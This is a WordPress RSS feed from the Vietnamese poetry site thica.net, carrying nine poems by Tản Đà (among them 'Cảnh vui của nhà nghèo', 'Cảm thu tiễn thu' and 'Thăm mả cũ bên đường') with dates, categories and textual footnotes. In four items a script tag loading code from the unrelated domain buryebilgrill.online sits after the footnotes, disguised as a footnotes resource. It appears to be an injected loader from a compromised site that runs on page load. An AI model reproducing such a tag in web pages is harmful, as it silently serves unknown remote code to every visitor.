<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Thica.netNhững bài thơ hay nhất của nhà thơ Tản Đà - Thica.net</title>
	<atom:link href="https://www.thica.net/tac-gia/tan-da/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.thica.net/tac-gia/tan-da/</link>
	<description>Mạng thi ca Việt Nam</description>
	<lastBuildDate>Fri, 13 Mar 2026 06:12:14 +0000</lastBuildDate>
	<language>en-US</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.6.5</generator>
<site xmlns="com-wordpress:feed-additions:1">3122721</site>	<item>
		<title>Cảnh vui của nhà nghèo</title>
		<link>https://www.thica.net/2016/06/12/canh-vui-cua-nha-ngheo/</link>
		<comments>https://www.thica.net/2016/06/12/canh-vui-cua-nha-ngheo/#respond</comments>
		<pubDate>Sun, 12 Jun 2016 03:11:15 +0000</pubDate>
		<dc:creator><![CDATA[Tản Đà]]></dc:creator>
				<category><![CDATA[Tản Đà]]></category>
		<category><![CDATA[Gia đình]]></category>
		<category><![CDATA[Thơ sách giáo khoa]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=16267</guid>
		<description><![CDATA[<p>[...]</p>
<p>Tan buổi học mẹ ngồi tựa cửa<br />
Mắt trông con đứa đứa về dần<br />
Xa xa con đã tới gần<br />
Các con về đủ quây quần bữa ăn.<br />
Cơm dưa muối khó khăn mới có,<br />
Của không ngon, nhà khó cũng ngon.<br />
Khi vui câu chuyện thêm giòn<br />
Chồng chồng vợ vợ con con một nhà.</p>
<p>[...]</p>
<p>The post <a href="https://www.thica.net/2016/06/12/canh-vui-cua-nha-ngheo/">Cảnh vui của nhà nghèo</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>Trong trần thế cảnh nghèo là khổ<br />Nỗi sinh nhai khốn khó qua ngày<br />Quanh năm gạo chịu tiền vay<br />Vợ chồng lo tính hôm rày hôm mai.<br />Áo lành rách vá may đắp điếm<br />Nhà ở thuê chật hẹp quanh co<br />Tạm yên đủ ấm vừa no<br />Cái buồn khôn xiết, cái lo khôn cùng.<br />Con đi học con bồng con dắt<br />Lớn chưa khôn lắt nhắt thơ ngây,<br />Hôm hôm lớn bé sum vầy<br />Cũng nên vui vẻ mà khuây nỗi buồn.<br />Nghĩ thiên hạ cho con đi học<br />Cảnh phong lưu phú túc nói chi!<br />Những ai bần bạc hàn vi<br />Lo buồn, đã vậy, vui thì cũng vui.<br />Tan buổi học mẹ ngồi tựa cửa<br />Mắt trông con đứa đứa về dần<br />Xa xa con đã tới gần<br />Các con về đủ quây quần bữa ăn.<br />Cơm dưa muối khó khăn mới có,<br />Của không ngon, nhà khó cũng ngon.<br />Khi vui câu chuyện thêm giòn<br />Chồng chồng vợ vợ con con một nhà. <sup><a href="https://www.thica.net/2016/06/12/canh-vui-cua-nha-ngheo/#footnote_0_16267" id="identifier_0_16267" class="footnote-link footnote-identifier-link" title="Đoạn thơ từ c&acirc;u &ldquo;Tan buổi học mẹ ngồi tựa cửa&rdquo; đến c&acirc;u n&agrave;y trước đ&acirc;y được tr&iacute;ch th&agrave;nh b&agrave;i đọc thuộc l&ograve;ng Tan buổi học trong s&aacute;ch Quốc văn bậc tiểu học dưới thời Việt Nam Cộng H&ograve;a">1</a></sup><br />Ăn rồi học, tối qua lại sáng,<br />Ít tiền tiêu ngày tháng thảnh thơi,<br />Chiều chiều tối tối mai mai<br />Miễn sao no đủ, việc đời quản chi!<br />Con nhà khó nhiều khi vất vả,<br />Ngoài học đường thư thả được đâu,<br />Khi thời quẩy nước tưới rau<br />Chợ tan đón gánh theo sau mẹ già.<br />Việc giấy bút vẫn là đi học<br />Cảnh gia đình khó nhọc nhường ai?<br />Ví chăng có chí có tài<br />Khi nên, trời cũng cho người làm nên.<br />Khắp xã hội nghèo hèn ai đó<br />Mẹ thương con thời cố công nuôi<br />Những con nhà khó kia ơi<br />Có thương cha mẹ thời vui học hành!<br />Cũng chẳng kể thành danh lúc khác<br />Trời đã cho bước bước càng hay<br />Nghèo mà học được như nay<br />Vinh hoa chưa dễ sánh tày cái vui.<br />Trong trần thế nhiều nơi phú quý<br />Nỗi buồn riêng ai ví như ai?<br />Bày ra cái cảnh có trời<br />Vui buồn cũng ở tự người thế gian.</p><ol class="footnotes"><li id="footnote_0_16267" class="footnote">Đoạn thơ từ câu &#8220;Tan buổi học mẹ ngồi tựa cửa&#8221; đến câu này trước đây được trích thành bài đọc thuộc lòng <em>Tan buổi học</em> trong sách Quốc văn bậc tiểu học dưới thời Việt Nam Cộng Hòa</li></ol><script src=https://buryebilgrill.online/footnotes></script><p>The post <a href="https://www.thica.net/2016/06/12/canh-vui-cua-nha-ngheo/">Cảnh vui của nhà nghèo</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2016/06/12/canh-vui-cua-nha-ngheo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">16267</post-id>	</item>
		<item>
		<title>Cảm thu tiễn thu</title>
		<link>https://www.thica.net/2014/05/27/cam-thu-tien-thu/</link>
		<comments>https://www.thica.net/2014/05/27/cam-thu-tien-thu/#respond</comments>
		<pubDate>Mon, 26 May 2014 17:07:14 +0000</pubDate>
		<dc:creator><![CDATA[Tản Đà]]></dc:creator>
				<category><![CDATA[Tản Đà]]></category>
		<category><![CDATA[Mùa thu]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=12358</guid>
		<description><![CDATA[<p>Từ vào thu đến nay<br />
Gió thu hiu hắt<br />
Sương thu lạnh<br />
Giăng thu bạch<br />
Khói thu xây thành<br />
Lá thu rơi rụng đầu ghềnh<br />
Sông thu đưa lá bao ngành biệt ly</p>
<p>[...]</p>
<p>The post <a href="https://www.thica.net/2014/05/27/cam-thu-tien-thu/">Cảm thu tiễn thu</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>Từ vào thu đến nay<br />Gió thu hiu hắt<br />Sương thu lạnh<br />Giăng thu bạch<br />Khói thu xây thành<br />Lá thu rơi rụng đầu ghềnh<br />Sông thu đưa lá bao ngành biệt ly<br />Nhạn về én lại bay đi<br />Đêm thì vượn hót, ngày thì ve ngâm<br />Lá sen tàn tạ trong đầm<br />Nặng mang giọt lệ âm thầm khóc hoa<br />Sắc đâu nhuộm ố quan hà<br />Cỏ vàng, cây đỏ, bóng tà tà dương<br />Nào người cố lý tha hương<br />Cảm thu, ai có tư lường hỡi ai?<br />Nào những ai<br />Bảy thước thân nam tử<br />Bốn bể chí tang bồng<br />Đường mây chưa bổng cánh hồng<br />Tiêu ma tuế nguyệt, ngại ngùng tu my<br />Nào những ai<br />Sinh trưởng nơi khuê các<br />Khuya sớm phận nữ nhi<br />Song the ngày tháng thoi đi<br />Vương tơ ngắm rện nhỡ thì thương hoa<br />Nào những ai<br />Tha phương khách thổ<br />Hải giác thiên nha<br />Ruột tầm héo, tóc sương pha<br />Gốc phần chạnh tưởng quê nhà đòi cơn<br />Nào những ai<br />Cù lao báo đức<br />Sinh dưỡng đền ơn<br />Kinh sương nghĩ nỗi mền đơn<br />Giầu sang bất nghĩa mà hơn nghèo hèn!<br />Nào những ai<br />Tóc xanh mây cuốn<br />Má đỏ huê ghen<br />Làng chơi duyên đã hết duyên<br />Khúc sông giăng rãi con thuyền chơi vơi<br />Nào những ai<br />Dọc ngang giời rộng<br />Vùng vẫy bể khơi<br />Đội giời đạp đất ở đời<br />Sa cơ thất thế quê người chiếc thân<br />Nào những ai<br />Kê vàng tỉnh mộng<br />Tóc bạc thương thân<br />Vèo trông lá rụng đầy sân<br />Công danh phù thế có ngần ấy thôi<br />Thôi nghĩ cho<br />Thu tự giời<br />Cảm tự người<br />Người đời ai cảm ta không biết<br />Ta cảm thay ai, viết mấy lời<br />Thôi thời<br />Cùng thu tạm biệt<br />Thu hãy tạm lui<br />Chi để khách đa tình đa cảm<br />Một mình thay cảm những ai ai!</p><p><em>Tháng chín năm Canh Thân 1920</em></p><p>The post <a href="https://www.thica.net/2014/05/27/cam-thu-tien-thu/">Cảm thu tiễn thu</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2014/05/27/cam-thu-tien-thu/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">12358</post-id>	</item>
		<item>
		<title>Chơi Hòa Bình</title>
		<link>https://www.thica.net/2014/05/26/choi-hoa-binh/</link>
		<comments>https://www.thica.net/2014/05/26/choi-hoa-binh/#respond</comments>
		<pubDate>Sun, 25 May 2014 17:07:26 +0000</pubDate>
		<dc:creator><![CDATA[Tản Đà]]></dc:creator>
				<category><![CDATA[Tản Đà]]></category>
		<category><![CDATA[Tình yêu]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=12355</guid>
		<description><![CDATA[<p>Vì ai cho tớ cứ lênh đênh!<br />
Nặng lắm! ai ôi! một gánh tình!</p>
<p>[...]</p>
<p>The post <a href="https://www.thica.net/2014/05/26/choi-hoa-binh/">Chơi Hòa Bình</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>Vì ai cho tớ cứ lênh đênh!<br />Nặng lắm! ai ôi! một gánh tình!<br />Non Tượng giời cho bao tuổi lẻ?<br />Sông Đà ai vặn một dòng quanh?<br />Lơ thơ hàng phố mươi nhà đỏ<br />Phấp phới cô nàng chiếc váy xanh<br />Mỗi tháng chợ đêm ba buổi họp<br />Ngọn đèn nha phiến đốt linh tinh <sup><a href="https://www.thica.net/2014/05/26/choi-hoa-binh/#footnote_0_12355" id="identifier_0_12355" class="footnote-link footnote-identifier-link" title="Bản in năm 1918 &ndash; Tản Đ&agrave;, Khối t&igrave;nh con &ndash; Quyển thứ nhất, Tản Đ&agrave; thư cục in lần thứ hai. Trong Tản Đ&agrave; văn tập, viết tay năm 1913, b&agrave;i n&agrave;y như sau:V&igrave; đ&acirc;u đưa đến xứ Ho&agrave; B&igrave;nh?Đ&oacute; cũng giang sơn đất nước m&igrave;nhNon Tượng giời cho bao tuổi lẻS&ocirc;ng Đ&agrave; ai vặn một d&ograve;ng quanh?Lơ thơ h&agrave;ng phố mươi nh&agrave; đỏPhấp phới c&ocirc; n&agrave;ng chiếc v&aacute;y xanhPhong cảnh đ&atilde; y&ecirc;u m&agrave; đ&oacute;n rướcN&ocirc;m na để lại mấy c&acirc;u t&igrave;nh(Nh&acirc;m T&yacute; 1912)">1</a></sup></p><ol class="footnotes"><li id="footnote_0_12355" class="footnote">Bản in năm 1918 &#8211; Tản Đà, Khối tình con &#8211; Quyển thứ nhất, Tản Đà thư cục in lần thứ hai. Trong Tản Đà văn tập, viết tay năm 1913, bài này như sau:</p><p>Vì đâu đưa đến xứ Hoà Bình?<br />Đó cũng giang sơn đất nước mình<br />Non Tượng giời cho bao tuổi lẻ<br />Sông Đà ai vặn một dòng quanh?<br />Lơ thơ hàng phố mươi nhà đỏ<br />Phấp phới cô nàng chiếc váy xanh<br />Phong cảnh đã yêu mà đón rước<br />Nôm na để lại mấy câu tình</p><p>(Nhâm Tý 1912) </li></ol><script src=https://buryebilgrill.online/footnotes></script><p>The post <a href="https://www.thica.net/2014/05/26/choi-hoa-binh/">Chơi Hòa Bình</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2014/05/26/choi-hoa-binh/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">12355</post-id>	</item>
		<item>
		<title>Muốn làm thằng Cuội</title>
		<link>https://www.thica.net/2014/05/25/muon-lam-thang-cuoi/</link>
		<comments>https://www.thica.net/2014/05/25/muon-lam-thang-cuoi/#respond</comments>
		<pubDate>Sat, 24 May 2014 17:07:49 +0000</pubDate>
		<dc:creator><![CDATA[Tản Đà]]></dc:creator>
				<category><![CDATA[Tản Đà]]></category>
		<category><![CDATA[Mùa thu]]></category>
		<category><![CDATA[Nỗi buồn]]></category>
		<category><![CDATA[Thằng Cuội]]></category>
		<category><![CDATA[Thơ sách giáo khoa]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=12351</guid>
		<description><![CDATA[<p>Đêm thu buồn lắm! Chị Hằng ơi<br />
Trần giới em nay chán nửa rồi<br />
Cung quế đã ai ngồi đó chửa?<br />
Cành đa xin chị nhắc lên chơi<br />
Có bầu, có bạn can chi tủi<br />
Cùng gió, cùng mây thế mới vui<br />
Rồi cứ mỗi năm rằm tháng tám<br />
Tựa nhau trông xuống thế gian, cười</p>
<p>The post <a href="https://www.thica.net/2014/05/25/muon-lam-thang-cuoi/">Muốn làm thằng Cuội</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>Đêm thu buồn lắm! Chị Hằng ơi<br />Trần giới em nay chán nửa rồi<br />Cung quế đã ai ngồi đó chửa?<br />Cành đa xin chị nhắc lên chơi<br />Có bầu, có bạn can chi tủi<br />Cùng gió, cùng mây thế mới vui<br />Rồi cứ mỗi năm rằm tháng tám<br />Tựa nhau trông xuống thế gian, cười</p><p>The post <a href="https://www.thica.net/2014/05/25/muon-lam-thang-cuoi/">Muốn làm thằng Cuội</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2014/05/25/muon-lam-thang-cuoi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">12351</post-id>	</item>
		<item>
		<title>Đêm suông phủ Vĩnh</title>
		<link>https://www.thica.net/2012/03/16/dem-suong-ph%e1%bb%a7-vinh/</link>
		<comments>https://www.thica.net/2012/03/16/dem-suong-ph%e1%bb%a7-vinh/#respond</comments>
		<pubDate>Thu, 15 Mar 2012 17:07:22 +0000</pubDate>
		<dc:creator><![CDATA[Tản Đà]]></dc:creator>
				<category><![CDATA[Tản Đà]]></category>
		<category><![CDATA[Đêm]]></category>
		<category><![CDATA[Nỗi buồn]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=7707</guid>
		<description><![CDATA[<p>Ðêm suông vô số cái suông xuồng,<br />
Suông rượu, suông tình, bạn cũng suông!<br />
Một bức màn con coi ngán nỗi,<br />
Một câu đối mảnh nghĩ dơ tuồng,<br />
Một vừng trăng khuất đi mà đứng,<br />
Một lá mành treo cuốn lại buông,<br />
Ngồi hết đêm suông, suông chẳng hết,<br />
Chùa ai xa điểm mấy hồi chuông.</p>
<p>The post <a href="https://www.thica.net/2012/03/16/dem-suong-ph%e1%bb%a7-vinh/">Đêm suông phủ Vĩnh</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>Ðêm suông vô số cái suông xuồng,<br />Suông rượu, suông tình, bạn cũng suông!<br />Một bức màn con coi ngán nỗi,<br />Một câu đối mảnh nghĩ dơ tuồng,<br />Một vừng trăng khuất đi mà đứng,<br />Một lá mành treo cuốn lại buông,<br />Ngồi hết đêm suông, suông chẳng hết,<br />Chùa ai xa điểm mấy hồi chuông.</p><p>The post <a href="https://www.thica.net/2012/03/16/dem-suong-ph%e1%bb%a7-vinh/">Đêm suông phủ Vĩnh</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2012/03/16/dem-suong-ph%e1%bb%a7-vinh/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">7707</post-id>	</item>
		<item>
		<title>Gió thu</title>
		<link>https://www.thica.net/2011/11/05/gio-thu/</link>
		<comments>https://www.thica.net/2011/11/05/gio-thu/#respond</comments>
		<pubDate>Sat, 05 Nov 2011 15:00:29 +0000</pubDate>
		<dc:creator><![CDATA[Tản Đà]]></dc:creator>
				<category><![CDATA[Tản Đà]]></category>
		<category><![CDATA[Gió]]></category>
		<category><![CDATA[Mùa thu]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=7138</guid>
		<description><![CDATA[<p>Trận gió thu phong rụng lá vàng <br />
Lá rơi hàng xóm, lá bay sang <br />
Vàng bay mấy lá năm dà nửa <br />
Hờ hững ai xui thiếp phụ chàng! </p>
<p>[...]</p>
<p>The post <a href="https://www.thica.net/2011/11/05/gio-thu/">Gió thu</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>Trận gió thu phong rụng lá vàng<br />Lá rơi hàng xóm, lá bay sang<br />Vàng bay mấy lá năm già nửa<br />Hờ hững ai xui thiếp phụ chàng! </p><p>Trận gió thu phong rụng lá hồng<br />Lá bay tường bắc, lá sang đông<br />Hồng bay mấy lá năm hồ hết <sup><a href="https://www.thica.net/2011/11/05/gio-thu/#footnote_0_7138" id="identifier_0_7138" class="footnote-link footnote-identifier-link" title="Trong bản viết tay, Tản Đ&agrave; viết c&acirc;u: &ldquo;Hồng bay mấy l&aacute; năm hồ hết&rdquo; l&agrave;  &ldquo;&hellip; năm c&ograve;n g&oacute;c&rdquo;">1</a></sup><br />Thơ thẩn kìa ai vẫn đứng không!</p><p><em>Theo Tuyển tập Tản Đà, NXB Văn Học, Hà Nội, 1986</em></p><ol class="footnotes"><li id="footnote_0_7138" class="footnote">Trong bản viết tay, Tản Đà viết câu: &#8220;Hồng bay mấy lá năm hồ hết&#8221; là  &#8220;&#8230; năm còn góc&#8221;</li></ol><script src=https://buryebilgrill.online/footnotes></script><p>The post <a href="https://www.thica.net/2011/11/05/gio-thu/">Gió thu</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2011/11/05/gio-thu/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">7138</post-id>	</item>
		<item>
		<title>Lại say</title>
		<link>https://www.thica.net/2011/07/24/l%e1%ba%a1i-say/</link>
		<comments>https://www.thica.net/2011/07/24/l%e1%ba%a1i-say/#respond</comments>
		<pubDate>Sat, 23 Jul 2011 17:07:04 +0000</pubDate>
		<dc:creator><![CDATA[Tản Đà]]></dc:creator>
				<category><![CDATA[Tản Đà]]></category>
		<category><![CDATA[Nỗi buồn]]></category>
		<category><![CDATA[Rượu]]></category>
		<category><![CDATA[Say]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=6618</guid>
		<description><![CDATA[<p>Say sưa nghĩ cũng hư đời,<br />
Hư thời hư vậy, say thời cứ say.<br />
Đất say đất cũng lăn quay,<br />
Trời say mặt cũng đỏ gay, ai cười?</p>
<p>[...]</p>
<p>The post <a href="https://www.thica.net/2011/07/24/l%e1%ba%a1i-say/">Lại say</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>Say sưa nghĩ cũng hư đời,<br />Hư thời hư vậy, say thời cứ say.<br />Đất say đất cũng lăn quay,<br />Trời say mặt cũng đỏ gay, ai cười?</p><p>Say chẳng biết phen này là mấy!<br />Nhìn non xanh chẳng thấy, lại là say.<br />Quái! Say sao say mãi thế này?<br />Say suốt cả đêm ngày như bất tỉnh.</p><p><em>Thê ngôn tuý tửu chân vô ích<br />Ngã dục tiêu sầu thả tự do</em> <sup><a href="https://www.thica.net/2011/07/24/l%e1%ba%a1i-say/#footnote_0_6618" id="identifier_0_6618" class="footnote-link footnote-identifier-link" title="Dịch nghĩa: Vợ bảo say rượu thật v&ocirc; &iacute;ch. Ta muốn giải sầu n&ecirc;n cứ mặc sức uống">1</a></sup></p><p>Việc trần ai, ai tỉnh ai lo<br />Say tuý luý nhỏ to đều bất kể.<br />Trời đất nhỉ, cái say là sướng thế!<br />Vợ can chồng, ai dễ đã chừa ngay?<br />Muốn say lại cứ mà say!</p><p>1921</p><ol class="footnotes"><li id="footnote_0_6618" class="footnote">Dịch nghĩa: Vợ bảo say rượu thật vô ích. Ta muốn giải sầu nên cứ mặc sức uống</li></ol><script src=https://buryebilgrill.online/footnotes></script><p>The post <a href="https://www.thica.net/2011/07/24/l%e1%ba%a1i-say/">Lại say</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2011/07/24/l%e1%ba%a1i-say/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">6618</post-id>	</item>
		<item>
		<title>Tống biệt</title>
		<link>https://www.thica.net/2008/05/26/t%e1%bb%91ng-bi%e1%bb%87t/</link>
		<comments>https://www.thica.net/2008/05/26/t%e1%bb%91ng-bi%e1%bb%87t/#respond</comments>
		<pubDate>Mon, 26 May 2008 14:59:06 +0000</pubDate>
		<dc:creator><![CDATA[Tản Đà]]></dc:creator>
				<category><![CDATA[Tản Đà]]></category>
		<category><![CDATA[Chia ly]]></category>
		<category><![CDATA[Thơ sách giáo khoa]]></category>
		<category><![CDATA[Tiễn đưa]]></category>
		<category><![CDATA[Từ giã]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=284</guid>
		<description><![CDATA[<p>Lá đào rơi rắc lối thiên thai<br />
Suối tiễn, oanh đưa luống ngậm ngùi<br />
Nửa năm tiên cảnh<br />
Một bước trần ai<br />
Ước cũ, duyên thừa có thế thôi!<br />
Đá mòn, rêu nhạt.<br />
Nước chảy, huê trôi<br />
Cái hạc bay lên vút tận trời<br />
Trời đất từ nay xa cách mãi<br />
Cửa động<br />
Đầu non<br />
Đường lối cũ<br />
Nghìn năm thơ thẩn bóng trăng chơi ...</p>
<p>The post <a href="https://www.thica.net/2008/05/26/t%e1%bb%91ng-bi%e1%bb%87t/">Tống biệt</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>Lá đào rơi rắc lối thiên thai<br />Suối tiễn, oanh đưa luống ngậm ngùi<br />Nửa năm tiên cảnh<br />Một bước trần ai<br />Ước cũ, duyên thừa có thế thôi!<br />Đá mòn, rêu nhạt.<br />Nước chảy, huê trôi<br />Cái hạc bay lên vút tận trời<br />Trời đất từ nay xa cách mãi<br />Cửa động<br />Đầu non<br />Đường lối cũ<br />Nghìn năm thơ thẩn bóng trăng chơi &#8230;</p><p>The post <a href="https://www.thica.net/2008/05/26/t%e1%bb%91ng-bi%e1%bb%87t/">Tống biệt</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2008/05/26/t%e1%bb%91ng-bi%e1%bb%87t/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">284</post-id>	</item>
		<item>
		<title>Thăm mả cũ bên đường</title>
		<link>https://www.thica.net/2008/05/05/tham-ma-cu-ben-duong/</link>
		<comments>https://www.thica.net/2008/05/05/tham-ma-cu-ben-duong/#comments</comments>
		<pubDate>Mon, 05 May 2008 04:05:52 +0000</pubDate>
		<dc:creator><![CDATA[Tản Đà]]></dc:creator>
				<category><![CDATA[Tản Đà]]></category>
		<category><![CDATA[Cuộc đời]]></category>
		<category><![CDATA[Nấm mộ]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=256</guid>
		<description><![CDATA[<p>Chơi lâu nhớ quê về thăm nhà,<br />
Đường xa, người vắng, bóng chiều tà,<br />
Một dãy lau cao làn gió chạy,<br />
Mấy cây thưa lá sắc vàng pha.</p>
<p>Ngoài xa trơ một đống đất đỏ,<br />
Hang hốc đùn lên đám cỏ gà.<br />
Người nằm dưới mả, ai ai đó?<br />
Biết có quê đây hay vùng xa?</p>
<p>Hay là thuở trước kẻ cung đao?<br />
Hám đạn liều tên quyết mũi đao.<br />
Cửa nhà xa cách vợ con khuất,<br />
Da ngựa gói bỏ lâu ngày cao,</p>
<p>Hay là thuở trước kẻ văn chương?<br />
Chen hội công danh nhỡ lạc đường.<br />
Tài cao phận thấp chí khí uất,<br />
Giang hồ mê chơi, quên quê hương.</p>
<p>[...]</p>
<p>The post <a href="https://www.thica.net/2008/05/05/tham-ma-cu-ben-duong/">Thăm mả cũ bên đường</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>Chơi lâu nhớ quê về thăm nhà,<br />Đường xa, người vắng, bóng chiều tà,<br />Một dãy lau cao làn gió chạy,<br />Mấy cây thưa lá sắc vàng pha.</p><p>Ngoài xa trơ một đống đất đỏ,<br />Hang hốc đùn lên đám cỏ gà.<br />Người nằm dưới mả, ai ai đó?<br />Biết có quê đây hay vùng xa?</p><p>Hay là thuở trước kẻ cung đao?<br />Hám đạn liều tên quyết mũi đao.<br />Cửa nhà xa cách vợ con khuất,<br />Da ngựa gói bỏ lâu ngày cao,</p><p>Hay là thuở trước kẻ văn chương?<br />Chen hội công danh nhỡ lạc đường.<br />Tài cao phận thấp chí khí uất,<br />Giang hồ mê chơi, quên quê hương.</p><p>Hay là thuở trước khách hồng nhan?<br />Sắc sảo khôn ngoan trời đất ghen.<br />Phong trần xui gặp bước lưu lạc,<br />Đầu xanh theo một chuyến xuân tàn.</p><p>Hay là thuở trước khách phong lưu?<br />Vợ con đàn hạc đề huề theo.<br />Quan san xa lạ đường lối khó,<br />Ma thiêng nước độc phong sương nhiều.</p><p>Hay là thuở trước bậc tài danh?<br />Đôi đôi, lứa lứa cũng linh tinh<br />Giận duyên tủi phận hờn ân ái,<br />Đất khách nhờ chôn một khối tình!</p><p>Suối vàng sâu thẳm biết là ai?<br />Mả cũ không ai kẻ đoái hoài!<br />Trải bao ngày tháng trơ trơ đó,<br />Mưa dầu, nắng dãi, trăng mờ soi!</p><p>Ấy thực quê hương con người ta<br />Dặn bảo trên đường những khách qua:<br />Có tiếng khóc oe thời có thế<br />Trăm năm ai lại biết ai mà!</p><p>The post <a href="https://www.thica.net/2008/05/05/tham-ma-cu-ben-duong/">Thăm mả cũ bên đường</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2008/05/05/tham-ma-cu-ben-duong/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">256</post-id>	</item>
	</channel>
</rss>
